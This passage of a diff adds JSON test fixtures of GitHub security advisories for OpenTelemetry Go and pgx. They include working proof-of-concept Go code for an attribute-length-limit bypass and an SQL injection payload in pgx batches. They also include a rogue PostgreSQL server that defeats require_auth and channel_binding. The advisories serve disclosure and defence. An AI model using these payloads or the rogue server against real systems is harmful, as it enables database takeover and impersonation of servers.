limit=%d\",\r\n\t\tutf8.RuneCountInString(val), len(val),\r\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\r\n\tif len(stored) != limit {\r\n\t\tt.Fatalf(\"control failed: ASCII value not truncated (stored %d bytes)\", len(stored))\r\n\t}\r\n}\r\n\r\n// TestOT001_EventAttributesNotLengthTruncated documents that span-event\r\n// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate\r\n// call in recordingSpan.addEvent).\r\nfunc TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {\r\n\tconst limit = 5\r\n\tval := strings.Repeat(\"C\", 100)\r\n\r\n\tsr := tracetest.NewSpanRecorder()\r\n\ttp := sdktrace.NewTracerProvider(\r\n\t\tsdktrace.WithSpanProcessor(sr),\r\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\r\n\t)\r\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\r\n\ttr := tp.Tracer(\"poc\")\r\n\t_, span := tr.Start(context.Background(), \"op\")\r\n\tspan.AddEvent(\"ev\", trace.WithAttributes(attribute.String(\"k\", val)))\r\n\tspan.End()\r\n\r\n\tended := sr.Ended()\r\n\tevents := ended[0].Events()\r\n\tif len(events) != 1 {\r\n\t\tt.Fatalf(\"expected 1 event, got %d\", len(events))\r\n\t}\r\n\tstored := events[0].Attributes[0].Value.AsString()\r\n\tt.Logf(\"event attribute input: %d bytes; stored: %d bytes; limit=%d\", len(val), len(stored), limit)\r\n\tif len(stored) > limit {\r\n\t\tt.Logf(\"CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)\", len(stored), limit)\r\n\t}\r\n}\r\n```\r\n\r\n(The `-run` pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)\r\n\r\n`otelgo_log_truncate_test.go`:\r\n\r\n```go\r\npackage otelpoc\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"strings\"\r\n\t\"sync\"\r\n\t\"testing\"\r\n\t\"unicode/utf8\"\r\n\r\n\t\"go.opentelemetry.io/otel/attribute\"\r\n\tapisdk \"go.opentelemetry.io/otel/log\"\r\n\tsdklog \"go.opentelemetry.io/otel/sdk/log\"\r\n)\r\n\r\ntype captureProcessor struct {\r\n\tmu sync.Mutex\r\n\trecs []*sdklog.Record\r\n}\r\n\r\nfunc (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }\r\n\r\nfunc (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {\r\n\tc.mu.Lock()\r\n\tdefer c.mu.Unlock()\r\n\tclone := r.Clone()\r\n\tc.recs = append(c.recs, &clone)\r\n\treturn nil\r\n}\r\n\r\nfunc (c *captureProcessor) Shutdown(context.Context) error { return nil }\r\nfunc (c *captureProcessor) ForceFlush(context.Context) error {\r\n\treturn nil\r\n}\r\n\r\n// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against\r\n// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).\r\nfunc TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {\r\n\tconst limit = 5\r\n\tcp := &captureProcessor{}\r\n\tlp := sdklog.NewLoggerProvider(\r\n\t\tsdklog.WithProcessor(cp),\r\n\t\tsdklog.WithAttributeValueLengthLimit(limit),\r\n\t)\r\n\tdefer func() { _ = lp.Shutdown(context.Background()) }()\r\n\r\n\tlogger := lp.Logger(\"poc\")\r\n\tvar r apisdk.Record\r\n\tr.SetSeverity(apisdk.SeverityInfo)\r\n\tr.AddAttributes(attribute.String(\"k\", strings.Repeat(\"\\uFFFD\", 1000)))\r\n\tlogger.Emit(context.Background(), r)\r\n\r\n\tcp.mu.Lock()\r\n\tif len(cp.recs) != 1 {\r\n\t\tt.Fatalf(\"expected 1 record, got %d\", len(cp.recs))\r\n\t}\r\n\trec := cp.recs[0]\r\n\tcp.mu.Unlock()\r\n\r\n\tstored := \"\"\r\n\trec.WalkAttributes(func(kv attribute.KeyValue) bool {\r\n\t\tif string(kv.Key) == \"k\" {\r\n\t\t\tstored = kv.Value.AsString()\r\n\t\t}\r\n\t\treturn true\r\n\t})\r\n\tt.Logf(\"sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d\",\r\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\r\n\tif maxBytes := 3 * limit; len(stored) > maxBytes {\r\n\t\tt.Fatalf(\"BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)\",\r\n\t\t\tlimit, len(stored), maxBytes)\r\n\t}\r\n}\r\n```\r\n\r\nRun:\r\n\r\n```\r\ngo mod tidy\r\ngo test -count=1 -v -run \"TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit\" .\r\n```\r\n\r\nExpected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the `FAIL\totelpoc` summary line):\r\n\r\n```\r\n=== RUN TestOT001_FFFDOnlyStringBypassesLogLengthLimit\r\n otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\r\n otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)\r\n--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)\r\n=== RUN TestOT001_FFFDOnlyStringBypassesTraceLengthLimit\r\n otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\r\n otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)\r\n--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)\r\n=== RUN TestOT001_FFFDMixedStringOverRetains\r\n otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5\r\n otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored\r\n--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)\r\n=== RUN TestOT001_ASCIIControl\r\n otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5\r\n--- PASS: TestOT001_ASCIIControl (0.00s)\r\nFAIL\r\nFAIL\totelpoc\t0.059s\r\nFAIL\r\n```\r\n\r\nThe mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.\r\n\r\n## Impact\r\n\r\nApplications that enable `AttributeValueLengthLimit` (or `WithAttributeValueLengthLimit` for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.\r\n\r\n## Suggested fix\r\n\r\nIn the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current `truncate_test.go` has no U+FFFD case).", + "severity": "medium", + "author": null, + "publisher": { + "login": "pellared", + "id": 5067549, + "node_id": "MDQ6VXNlcjUwNjc1NDk=", + "avatar_url": "https://avatars.githubusercontent.com/u/5067549?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/pellared", + "html_url": "https://github.com/pellared", + "followers_url": "https://api.github.com/users/pellared/followers", + "following_url": "https://api.github.com/users/pellared/following{/other_user}", + "gists_url": "https://api.github.com/users/pellared/gists{/gist_id}", + "starred_url": "https://api.github.com/users/pellared/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/pellared/subscriptions", + "organizations_url": "https://api.github.com/users/pellared/orgs", + "repos_url": "https://api.github.com/users/pellared/repos", + "events_url": "https://api.github.com/users/pellared/events{/privacy}", + "received_events_url": "https://api.github.com/users/pellared/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "identifiers": [ + { + "value": "GHSA-q7gw-24fr-5p69", + "type": "GHSA" + } + ], + "state": "published", + "created_at": null, + "updated_at": "2026-10-28T16:43:07Z", + "published_at": "2026-10-28T16:43:06Z", + "closed_at": null, + "withdrawn_at": null, + "submission": null, + "vulnerabilities": [ + { + "package": { + "ecosystem": "go", + "name": "go.opentelemetry.io/otel/sdk" + }, + "vulnerable_version_range": ">= 1.33.0, < 1.47.0", + "patched_versions": "1.47.0", + "vulnerable_functions": [] + }, + { + "package": { + "ecosystem": "go", + "name": "go.opentelemetry.io/otel/sdk/log" + }, + "vulnerable_version_range": ">= 0.9.0, < 1.47.0", + "patched_versions": "1.47.0", + "vulnerable_functions": [] + }, + { + "package": { + "ecosystem": "go", + "name": "go.opentelemetry.io/otel/trace" + }, + "vulnerable_version_range": ">= 1.35.0, < 1.47.0", + "patched_versions": "1.47.0", + "vulnerable_functions": [] + } + ], + "cvss_severities": { + "cvss_v3": { + "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "score": 5.3 + }, + "cvss_v4": { + "vector_string": null, + "score": null + } + }, + "cwes": [ + { + "cwe_id": "CWE-135", + "name": "Incorrect Calculation of Multi-Byte String Length" + }, + { + "cwe_id": "CWE-770", + "name": "Allocation of Resources Without Limits or Throttling" + } + ], + "cwe_ids": [ + "CWE-135", + "CWE-770" + ], + "credits": [ + { + "login": "Hama1cco", + "type": "reporter" + }, + { + "login": "pellared", + "type": "remediation_developer" + } + ], + "credits_detailed": [ + { + "user": { + "login": "Hama1cco", + "id": 115479378, + "node_id": "U_kgDOBuITUg", + "avatar_url": "https://avatars.githubusercontent.com/u/115479378?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/Hama1cco", + "html_url": "https://github.com/Hama1cco", + "followers_url": "https://api.github.com/users/Hama1cco/followers", + "following_url": "https://api.github.com/users/Hama1cco/following{/other_user}", + "gists_url": "https://api.github.com/users/Hama1cco/gists{/gist_id}", + "starred_url": "https://api.github.com/users/Hama1cco/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/Hama1cco/subscriptions", + "organizations_url": "https://api.github.com/users/Hama1cco/orgs", + "repos_url": "https://api.github.com/users/Hama1cco/repos", + "events_url": "https://api.github.com/users/Hama1cco/events{/privacy}", + "received_events_url": "https://api.github.com/users/Hama1cco/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "type": "reporter", + "state": "accepted" + }, + { + "user": { + "login": "pellared", + "id": 5067549, + "node_id": "MDQ6VXNlcjUwNjc1NDk=", + "avatar_url": "https://avatars.githubusercontent.com/u/5067549?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/pellared", + "html_url": "https://github.com/pellared", + "followers_url": "https://api.github.com/users/pellared/followers", + "following_url": "https://api.github.com/users/pellared/following{/other_user}", + "gists_url": "https://api.github.com/users/pellared/gists{/gist_id}", + "starred_url": "https://api.github.com/users/pellared/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/pellared/subscriptions", + "organizations_url": "https://api.github.com/users/pellared/orgs", + "repos_url": "https://api.github.com/users/pellared/repos", + "events_url": "https://api.github.com/users/pellared/events{/privacy}", + "received_events_url": "https://api.github.com/users/pellared/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "type": "remediation_developer", + "state": "accepted" + } + ], + "collaborating_users": null, + "collaborating_teams": null, + "private_fork": null, + "comments": 7, + "cvss": { + "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "score": 5.3 + } + } +] diff --git a/tools/repoadvisory/testdata/pgx.json b/tools/repoadvisory/testdata/pgx.json new file mode 100644 index 00000000000..a9ab486fa0c --- /dev/null +++ b/tools/repoadvisory/testdata/pgx.json @@ -0,0 +1,304 @@ +[ + { + "ghsa_id": "GHSA-j38q-h3ph-jjpq", + "cve_id": null, + "url": "https://api.github.com/repos/jackc/pgx/security-advisories/GHSA-j38q-h3ph-jjpq", + "html_url": "https://github.com/jackc/pgx/security/advisories/GHSA-j38q-h3ph-jjpq", + "summary": "SQL injection in simple-protocol batches when a queued query ends in a `--` comment", + "description": "### Summary\n\nIn simple-protocol mode, `SendBatch` lets an attacker who controls a string argument run arbitrary SQL as the application's database role. pgx pastes each query's arguments into its SQL as quoted literals, then joins the queries with a bare `;`. If a queued query ends in a `--` comment, the next query's first line becomes part of that comment, including the opening quote of its string argument. A newline inside the argument ends the comment, and the rest of the argument runs as SQL. Without an attacker, the next query is silently dropped and `BatchResults.Close()` returns nil.\n\n### Details\n\n`conn.go`, `sendBatchQueryExecModeSimpleProtocol` (https://github.com/jackc/pgx/blob/0dd05bbb034054476833c11856510cc20cbde049/conn.go#L1038-L1058):\r\n\r\n```go\r\nfor i, bi := range b.QueuedQueries {\r\n if i > 0 {\r\n sb.WriteByte(';')\r\n }\r\n sql, err := c.sanitizeForSimpleQuery(bi.SQL, bi.Arguments...)\r\n ...\r\n sb.WriteString(sql)\r\n}\r\nmrr := c.pgConn.Exec(ctx, sb.String())\r\n```\r\n\r\nThe sanitizer quotes each argument correctly within its own query. It can't see that the previous query's trailing `--` comment now runs on into this query. With:\r\n\r\n- query 1: `UPDATE t SET x=x WHERE id=$1 -- note`\r\n- query 2: `INSERT INTO audit(msg) VALUES ($1)`, msg = `\"\\n; CREATE TABLE pwned(); --\"`\r\n\r\nthe server receives:\r\n\r\n```\r\nUPDATE t SET x=x WHERE id= 1 -- note;INSERT INTO audit(msg) VALUES ( '\r\n; CREATE TABLE pwned(); --' )\r\n```\r\n\r\nLine 1 runs the UPDATE and comments out the rest. Line 2 runs `CREATE TABLE pwned()`, and the final `--` comments out the leftover `' )`. The spaces around each value come from the GHSA-m7wr-2xf7-cm9p fix in `internal/sanitize`, and they don't stop this attack.\r\n\r\nThe same code was added in v4 by 25099e6f (\"Permit SendBatch with Simple Protocol\", first released in v4.7.0) and is still there in v5. Extended-protocol modes aren't affected, because they send each query and its parameters separately.\r\n\r\nThe class matches GHSA-m7wr-2xf7-cm9p (line-comment injection in simple protocol), but this is a different code path that the earlier fix didn't cover.\r\n\r\nPossible fix: join with `\";\\n\"` instead of `';'`, so a trailing line comment can't extend into the next query.\n\n### Proof of concept\n\nRequirements: PostgreSQL 14+ (tested on 18) and pgx v5 at `0dd05bbb` (v5.11.0 and earlier behave the same).\r\n\r\n```go\r\npackage main\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"fmt\"\r\n\t\"os\"\r\n\r\n\t\"github.com/jackc/pgx/v5\"\r\n)\r\n\r\nfunc main() {\r\n\tctx := context.Background()\r\n\t// e.g. DATABASE_URL=\"postgres://postgres:pw@127.0.0.1:5432/postgres?sslmode=disable&default_query_exec_mode=simple_protocol\"\r\n\tconn, err := pgx.Connect(ctx, os.Getenv(\"DATABASE_URL\"))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\tdefer conn.Close(ctx)\r\n\r\n\tconn.Exec(ctx, \"DROP TABLE IF EXISTS t, audit, pwned\")\r\n\tconn.Exec(ctx, \"CREATE TABLE t(id int, x int); INSERT INTO t VALUES (1,1); CREATE TABLE audit(msg text)\")\r\n\r\n\tfor _, msg := range []string{\"harmless\", \"\\n; CREATE TABLE pwned(); --\"} {\r\n\t\tb := &pgx.Batch{}\r\n\t\tb.Queue(\"UPDATE t SET x=x WHERE id=$1 -- note\", 1)\r\n\t\tb.Queue(\"INSERT INTO audit(msg) VALUES ($1)\", msg)\r\n\t\tcloseErr := conn.SendBatch(ctx, b).Close()\r\n\r\n\t\tvar rows int\r\n\t\tvar pwned bool\r\n\t\tconn.QueryRow(ctx, \"SELECT count(*) FROM audit\").Scan(&rows)\r\n\t\tconn.QueryRow(ctx, \"SELECT to_regclass('pwned') IS NOT NULL\").Scan(&pwned)\r\n\t\tfmt.Printf(\"msg=%q close=%v audit_rows=%d pwned=%v\\n\", msg, closeErr, rows, pwned)\r\n\t}\r\n}\r\n```\r\n\r\nOutput with `default_query_exec_mode=simple_protocol`:\r\n\r\n```\r\nmsg=\"harmless\" close= audit_rows=0 pwned=false\r\nmsg=\"\\n; CREATE TABLE pwned(); --\" close= audit_rows=0 pwned=true\r\n```\r\n\r\nControl: with `default_query_exec_mode=exec` or `cache_statement`, both INSERTs store the row (`audit_rows` = 1, then 2), and `pwned` stays false.\n\n### Impact\n\nSQL injection which affects applications that use pgx batches in simple-protocol mode, which is set through `default_query_exec_mode=simple_protocol` in the connection string or `ConnConfig.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol` (also via pgxpool). This mode is common behind PgBouncer in transaction mode. To be exploitable, a queued query must end in a `--` comment with no trailing newline, and the next query must take an attacker-controlled string argument on its first line. When those hold, the attacker runs arbitrary SQL as the application's database role. Even without an attacker, the next query is silently dropped as `Close()` reports no error. Code that reads each result with `br.Exec()` does get `no more results in batch` in that case. But a one-statement payload returns as many results as were queued, so per-result checks don't catch the attack.\r\n", + "severity": "high", + "author": null, + "publisher": { + "login": "jackc", + "id": 94130, + "node_id": "MDQ6VXNlcjk0MTMw", + "avatar_url": "https://avatars.githubusercontent.com/u/94130?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/jackc", + "html_url": "https://github.com/jackc", + "followers_url": "https://api.github.com/users/jackc/followers", + "following_url": "https://api.github.com/users/jackc/following{/other_user}", + "gists_url": "https://api.github.com/users/jackc/gists{/gist_id}", + "starred_url": "https://api.github.com/users/jackc/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/jackc/subscriptions", + "organizations_url": "https://api.github.com/users/jackc/orgs", + "repos_url": "https://api.github.com/users/jackc/repos", + "events_url": "https://api.github.com/users/jackc/events{/privacy}", + "received_events_url": "https://api.github.com/users/jackc/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "identifiers": [ + { + "value": "GHSA-j38q-h3ph-jjpq", + "type": "GHSA" + } + ], + "state": "published", + "created_at": null, + "updated_at": "2026-10-31T00:54:24Z", + "published_at": "2026-10-31T00:54:23Z", + "closed_at": null, + "withdrawn_at": null, + "submission": null, + "vulnerabilities": [ + { + "package": { + "ecosystem": "go", + "name": "github.com/jackc/pgx/v5" + }, + "vulnerable_version_range": ">= 5.0.0", + "patched_versions": "", + "vulnerable_functions": [] + }, + { + "package": { + "ecosystem": "go", + "name": "github.com/jackc/pgx/v4" + }, + "vulnerable_version_range": ">= 4.7.0, <= 4.18.3", + "patched_versions": "", + "vulnerable_functions": [] + } + ], + "cvss_severities": { + "cvss_v3": { + "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "score": 8.1 + }, + "cvss_v4": { + "vector_string": null, + "score": null + } + }, + "cwes": [ + { + "cwe_id": "CWE-89", + "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" + } + ], + "cwe_ids": [ + "CWE-89" + ], + "credits": [ + { + "login": "igor-kupczynski", + "type": "reporter" + } + ], + "credits_detailed": [ + { + "user": { + "login": "igor-kupczynski", + "id": 166651, + "node_id": "MDQ6VXNlcjE2NjY1MQ==", + "avatar_url": "https://avatars.githubusercontent.com/u/166651?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/igor-kupczynski", + "html_url": "https://github.com/igor-kupczynski", + "followers_url": "https://api.github.com/users/igor-kupczynski/followers", + "following_url": "https://api.github.com/users/igor-kupczynski/following{/other_user}", + "gists_url": "https://api.github.com/users/igor-kupczynski/gists{/gist_id}", + "starred_url": "https://api.github.com/users/igor-kupczynski/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/igor-kupczynski/subscriptions", + "organizations_url": "https://api.github.com/users/igor-kupczynski/orgs", + "repos_url": "https://api.github.com/users/igor-kupczynski/repos", + "events_url": "https://api.github.com/users/igor-kupczynski/events{/privacy}", + "received_events_url": "https://api.github.com/users/igor-kupczynski/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "type": "reporter", + "state": "accepted" + } + ], + "collaborating_users": null, + "collaborating_teams": null, + "private_fork": null, + "comments": 1, + "cvss": { + "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "score": 8.1 + } + }, + { + "ghsa_id": "GHSA-95fj-3fxw-g62g", + "cve_id": null, + "url": "https://api.github.com/repos/jackc/pgx/security-advisories/GHSA-95fj-3fxw-g62g", + "html_url": "https://github.com/jackc/pgx/security/advisories/GHSA-95fj-3fxw-g62g", + "summary": "require_auth and channel_binding enforcement is skipped when a server omits AuthenticationOk, allowing a rogue or man-in-the-middle PostgreSQL server to be accepted", + "description": "### Summary\r\n\r\npgx supports the libpq-compatible `require_auth` and `channel_binding` connection parameters. These parameters exist to protect a client from a rogue or man-in-the-middle (MITM) PostgreSQL server: `require_auth=scram-sha-256` means the client will only accept the connection if the server completes a SCRAM authentication exchange, and `channel_binding=require` means the client will only accept the connection if the exchange is bound to the TLS channel.\r\n\r\nBoth checks are only applied when the server actually begins an authentication exchange. A malicious server can skip authentication entirely by not sending any `Authentication*` message and sending `ReadyForQuery` directly after the startup phase. In that case neither the `require_auth` policy nor the `channel_binding=require` requirement is evaluated, and the client accepts the connection as fully established. This defeats the only purpose of these two parameters and lets a rogue or MITM server impersonate the real database, read the queries and data the client sends, and return attacker-controlled results.\r\n\r\n### Details\r\n\r\nThe connection startup loop is in `pgconn/pgconn.go`, function `connect`. The loop reads backend messages and dispatches on message type.\r\n\r\nThe `require_auth` policy is enforced in the `AuthenticationOk` branch only:\r\n\r\n```go\r\n// pgconn/pgconn.go\r\ncase *pgproto3.AuthenticationOk:\r\n if config.SSLCertMode == \"require\" {\r\n if err := sslCert.checkRequired(); err != nil {\r\n pgConn.conn.Close()\r\n return nil, newPerDialConnectError(\"sslcertmode check failed\", err)\r\n }\r\n }\r\n if requireAuthPolicy.authRequired && !clientFinishedAuth { // <-- the require_auth gate\r\n return requireAuthFail(requireAuthPolicy.check(authMethodNone))\r\n }\r\n```\r\n\r\nThe `channel_binding=require` requirement is enforced only inside `scramAuth` (`pgconn/auth_scram.go`, lines 51 to 73), which is reached only from the `AuthenticationSASL` branch.\r\n\r\nThe `ReadyForQuery` branch marks the connection as ready without evaluating either requirement:\r\n\r\n```go\r\n// pgconn/pgconn.go\r\ncase *pgproto3.ReadyForQuery:\r\n // A server may omit AuthenticationOk, so enforce the requirement here too.\r\n if config.SSLCertMode == \"require\" {\r\n if err := sslCert.checkRequired(); err != nil {\r\n pgConn.conn.Close()\r\n return nil, newPerDialConnectError(\"sslcertmode check failed\", err)\r\n }\r\n }\r\n // No require_auth check here.\r\n // No channel_binding check here.\r\n pgConn.status = connStatusIdle\r\n```\r\n\r\nThe comment on that branch (\"A server may omit AuthenticationOk, so enforce the requirement here too\") shows the maintainers already know a server can reach `ReadyForQuery` without ever sending `AuthenticationOk`. The `sslcertmode=require` check was duplicated onto this path (commit `6470044`, 2026-10-17) precisely for that reason, but the `require_auth` and `channel_binding` checks were not. Because the real policy gate lives on the `AuthenticationOk` path, a server that never sends `AuthenticationOk` is never checked.\r\n\r\nThe intended behavior is documented both by PostgreSQL and by pgx itself:\r\n\r\n- PostgreSQL libpq documentation for `require_auth`: \"If the server does not use the required method to authenticate the client, or if the authentication handshake is not fully completed by the server, the connection will fail.\" For `scram-sha-256`: \"The server must successfully complete a SCRAM-SHA-256 authentication exchange with the client.\"\r\n- pgx `pgconn/require_auth.go`, comment on the `authRequired` field: \"authRequired is true when the server must complete an authentication exchange before sending AuthenticationOk.\" The same file states it \"mirrors libpq's auth_required / allowed_auth_methods bookkeeping.\"\r\n\r\nA server that sends `ReadyForQuery` with no prior `Authentication*` message has not completed any authentication exchange, so per both specifications the connection must fail. pgx accepts it.\r\n\r\nNote on the reference implementation: libpq keeps its connection state machine in `CONNECTION_AWAITING_RESPONSE` until it receives an authentication request, and it rejects a server that jumps straight to post-authentication messages. pgx deliberately tolerates a missing `AuthenticationOk` (which is acceptable for the default, no-`require_auth` case), but in doing so it must still apply an explicitly requested `require_auth` or `channel_binding` policy on that path, and it does not.\r\n\r\nThis is not a test against intentionally vulnerable code. The vulnerable code is pgx's own connection routine. The simulated server in the proof of concept is the adversary that `require_auth` and `channel_binding` are designed to defend against, so it is the correct and intended threat model for these parameters, not a contrived or self-created weak server.\r\n\r\n### Proof of concept\r\n\r\nValidated end to end against the real library at current `master` (commit `d6d4b01`) and against the latest release tag `v5.11.0`, using Go 1.26 on Linux. No PostgreSQL server is involved; the adversary is a short TCP program that speaks just enough of the v3 protocol to reach `ReadyForQuery` without authenticating.\r\n\r\n1. Clone the library and point a throwaway module at it with a replace directive:\r\n\r\n```\r\ngit clone https://github.com/jackc/pgx.git /path/to/pgx\r\nmkdir /path/to/poc && cd /path/to/poc\r\n```\r\n\r\n`/path/to/poc/go.mod`:\r\n\r\n```\r\nmodule poc\r\ngo 1.22\r\nrequire github.com/jackc/pgx/v5 v5.0.0\r\nreplace github.com/jackc/pgx/v5 => /path/to/pgx\r\n```\r\n\r\n2. `/path/to/poc/main.go` (rogue server that skips authentication and a client that demands SCRAM):\r\n\r\n```go\r\npackage main\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"encoding/binary\"\r\n\t\"fmt\"\r\n\t\"io\"\r\n\t\"net\"\r\n\t\"os\"\r\n\t\"time\"\r\n\r\n\t\"github.com/jackc/pgx/v5/pgconn\"\r\n)\r\n\r\nfunc rogueServer(listener net.Listener) {\r\n\tconn, err := listener.Accept()\r\n\tif err != nil {\r\n\t\treturn\r\n\t}\r\n\tdefer conn.Close()\r\n\r\n\tvar msgLen int32\r\n\tbinary.Read(conn, binary.BigEndian, &msgLen)\r\n\tremaining := make([]byte, msgLen-4)\r\n\tio.ReadFull(conn, remaining)\r\n\tfmt.Println(\"[SERVER] Received startup, skipping auth!\")\r\n\r\n\tsendPS := func(name, value string) {\r\n\t\tpayload := append([]byte(name), 0)\r\n\t\tpayload = append(payload, []byte(value)...)\r\n\t\tpayload = append(payload, 0)\r\n\t\tmsg := make([]byte, 5+len(payload))\r\n\t\tmsg[0] = 'S'\r\n\t\tbinary.BigEndian.PutUint32(msg[1:5], uint32(4+len(payload)))\r\n\t\tcopy(msg[5:], payload)\r\n\t\tconn.Write(msg)\r\n\t}\r\n\tsendPS(\"server_version\", \"17.0\")\r\n\tsendPS(\"server_encoding\", \"UTF8\")\r\n\tsendPS(\"client_encoding\", \"UTF8\")\r\n\r\n\t// BackendKeyData, then ReadyForQuery, with no Authentication* message at all.\r\n\tbkd := make([]byte, 13)\r\n\tbkd[0] = 'K'\r\n\tbinary.BigEndian.PutUint32(bkd[1:5], 12)\r\n\tbinary.BigEndian.PutUint32(bkd[5:9], 1234)\r\n\tbinary.BigEndian.PutUint32(bkd[9:13], 5678)\r\n\tconn.Write(bkd)\r\n\tconn.Write([]byte{'Z', 0, 0, 0, 5, 'I'})\r\n\tfmt.Println(\"[SERVER] Sent ReadyForQuery without auth!\")\r\n\ttime.Sleep(2 * time.Second)\r\n}\r\n\r\nfunc main() {\r\n\tlistener, _ := net.Listen(\"tcp\", \"127.0.0.1:0\")\r\n\taddr := listener.Addr().(*net.TCPAddr)\r\n\tgo rogueServer(listener)\r\n\r\n\tconnString := fmt.Sprintf(\r\n\t\t\"host=127.0.0.1 port=%d user=test password=test dbname=test sslmode=disable require_auth=scram-sha-256\",\r\n\t\taddr.Port)\r\n\r\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\r\n\tdefer cancel()\r\n\r\n\tconfig, _ := pgconn.ParseConfig(connString)\r\n\tconn, err := pgconn.ConnectConfig(ctx, config)\r\n\tif err != nil {\r\n\t\tfmt.Printf(\"Connection rejected (SECURE): %v\\n\", err)\r\n\t\tos.Exit(0)\r\n\t}\r\n\tfmt.Printf(\"Connection SUCCEEDED (VULNERABLE)! PID=%d\\n\", conn.PID())\r\n\tconn.Close(ctx)\r\n\tos.Exit(1)\r\n}\r\n```\r\n\r\n3. Run it:\r\n\r\n```\r\ncd /path/to/poc && GOFLAGS=-mod=mod go mod tidy && go run main.go\r\n```\r\n\r\nObserved output (vulnerable):\r\n\r\n```\r\n[SERVER] Received startup, skipping auth!\r\n[SERVER] Sent ReadyForQuery without auth!\r\nConnection SUCCEEDED (VULNERABLE)! PID=1234\r\n```\r\n\r\nThe client was configured with `require_auth=scram-sha-256` and still accepted a server that performed no authentication.\r\n\r\nControl experiment that rules out a false positive: if the same rogue server instead sends a single `AuthenticationOk` message before `ReadyForQuery` (a trust server), the same client correctly rejects the connection with:\r\n\r\n```\r\nrequire_auth check failed: authentication method requirement \"scram-sha-256\" failed: server did not complete authentication\r\n```\r\n\r\nThis proves the `require_auth` gate works, but only on the `AuthenticationOk` path. Skipping that message is what bypasses it. The following variants were also confirmed with the same rogue (no-auth) server:\r\n\r\n- `require_auth=password`: accepted (bypass).\r\n- `channel_binding=require`: accepted (bypass; same root cause, the SCRAM path is never entered).\r\n- no `require_auth`: accepted (correct and expected, since the default permits a server to skip authentication).\r\n\r\n### Impact\r\n\r\nThis is a client-side authentication-enforcement bypass. It affects any application that uses pgx (directly, or through `database/sql`, `pgxpool`, or higher layers built on pgconn) and relies on `require_auth` or `channel_binding=require` to protect itself against a rogue or MITM database server.\r\n\r\nAn attacker who can make a pgx client reach the attacker's endpoint (by operating a rogue server the client is pointed at, by DNS or routing manipulation, or by an on-path MITM position) 